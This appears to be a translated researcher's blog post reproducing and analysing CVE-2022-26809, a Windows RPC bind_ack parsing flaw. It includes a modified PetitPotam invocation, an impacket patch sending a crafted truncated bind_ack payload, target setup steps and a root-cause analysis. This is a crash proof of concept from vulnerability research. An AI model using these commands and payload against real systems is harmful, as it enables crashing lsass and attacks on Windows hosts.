Vulnerability Introduction
The high-risk vulnerability CVE-2022-26809, patched in April 2022, has been over a month since then. During this period, apart from an analysis by L1nk about the conditions triggering the GetCoalescedBuffer() vulnerability function, there were no other updates. Although I have analyzed the logic behind the ProcessReceivedPDU() vulnerability function, I struggled to trigger it on the default system, which led to no progress.
On May 18, corelight published an article about exploiting CVE-2022-26809, providing a related GitHub repository that included captured packets that triggered the vulnerability.
The article mentioned that CVE-2022-26809 is located in the OSF_CASSOCIATION::ProcessBindAckOrNak() function, which is a client-side function that parses bind_ack responses. Initially, both L1nk and I overlooked this because we didnât associate a client-side vulnerability with the description âpotential worm vulnerability,â assuming it wasnât CVE-2022-26809. However, when calling the EfsRpcDecryptFileSrv() efs RPC function on the target machine, based on the unc path we provided, it initiates a bind request to the srvsvc endpoint on our malicious SMB server. In this case, the server acts as a client and calls ProcessBindAckOrNak() to process the bind_ack packet returned by our malicious SMB server. This highlights our insufficient understanding of concepts like SMB.
EfsRpcDecryptFileSrv() is in the lsass.exe process, located at the c681d488-d850-11d0-8c52-00c04fd90f7e interface as an RPC function, accessible via the \pipe\lsass endpoint.
In 2021, the EFS-related RPC functions experienced several notable vulnerabilities such as PetitPotam domain privilege escalation and CVE-2021-43893 domain controller file write. Although CVE-2022-26809 isnât similar in principle to these vulnerabilities, the triggering method is similar, allowing us to leverage PetitPotamâs script for avoiding the hassle of writing our own RPC client.
I recommend reading this article https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/ to understand the history of the PetitPotam vulnerability.
> >
Vulnerability Reproduction
1. Invoke EfsRpcDecryptFileSrv() Function
Use ly4kâs PetitPotam script for invocation, repository link: https://github.com/ly4k/PetitPotam
Itâs important to note: due to the CVE-2021-43893 patch from December 2021, you need to add two lines of code to the script:
Add the following two lines in the PetitPotam.Connect function (before dce.connect()):
Code Language: JavaScriptCopy
dce.set_auth_type(RPC_C_AUTHN_WINNT)dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
These two lines of code are to comply with the newly enforced EFSRPC measures.
Invoke the PetitPotam script:
Code Language: JavaScriptCopy
python3 petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug 'mr.wang:[email protected]' '\\192.168.33.154\srvsvc\test.txt'
192.168.33.159 is the address of the target host, while 192.168.33.154 is the address of our malicious SMB server. Unfortunately, I must use an account and password, not sure how the original PoC addressed the SMB authentication issue.
If you monitor the lsass.exe process with Procmon, youâll see it trying to open the endpoint \\192.168.33.154\pipe\srvsvc.
2. Configure Malicious SMB Server for CVE-2022-26809
Directly use the SimpleSMBServer example from impacketâs smbserver.py:
Code Language: JavaScriptCopy
from impacket.smbserver import SimpleSMBServermyserver = SimpleSMBServer(listenPort=445)myserver.start()
Itâs recommended to set it up in Linux.
We need to control the response to RPC bind requests, so modify the rpcrt.py library file directly.
Find the DCERPCServer.bind() function in rpcrt.py, comment it out, and replace with the following, effectively returning a fixed bind_ack packet each time.
Code Language: JavaScriptCopy
d = b'\x05\x00\x0c\x03\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x02\x10\xb8\x10\xb8\x00\x00\x12\x34\x00\x00'print(d)self._clientSock.send(d)
This string of data is the key payload to trigger the vulnerability.
3. Capturing the Crash: CVE-2022-26809
Open port 445 of the target hostâs firewall.
Disable the SMB2 protocol:
Code Language: JavaScriptCopy
Set-SmbServerConfiguration -EnableSMB2Protocol $false
Enable the SMB1 protocol:
Code Language: JavaScriptCopy
Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
This step is not mandatory, mainly to facilitate capturing and observing RPC data with Wireshark.
Use gflags.exe to enable page heap for the lsass.exe process, then reboot the system.
Choose a method to debug lsass.exe; I use kernel debugging to prevent the system from freezing.
Then, start the malicious SMB server and use the script to call the EfsRpcDecryptFileSrv() function.
Then youâll be able to capture the exception.
If everything goes well, youâll see a series of bind and bind_ack packets in Wireshark after calling EfsRpcDecryptFileSrv():
> >
Vulnerability Analysis
The packet has two characteristics: frag_len is 0x1a, ScnDry_Addr_len is 0, and the packet is truncated at this field with nothing following.
BufferLength is the packet length, which is 0x1a. The first BufferLength â 0x1A results in 0, then since sec_addr_length is 0, it enters the else branch which results in an integer underflow of 0 â 0x1c.
Subsequently, when addressing sec_addr_length + 2 + 2, since the packet ends at sec_addr_length, this address is actually out of bounds.
Additionally, itâs worth noting that although we use big-endian byte order to trigger the vulnerability, it can also be triggered using little-endian byte order, so it doesnât seem to relate to whether the Data Representation field is 0.
Finally, the issue of SMB authentication when calling EfsRpcDecryptFileSrv() hasnât been resolved. Vulnerability exploitation experts might want to try their hand at it.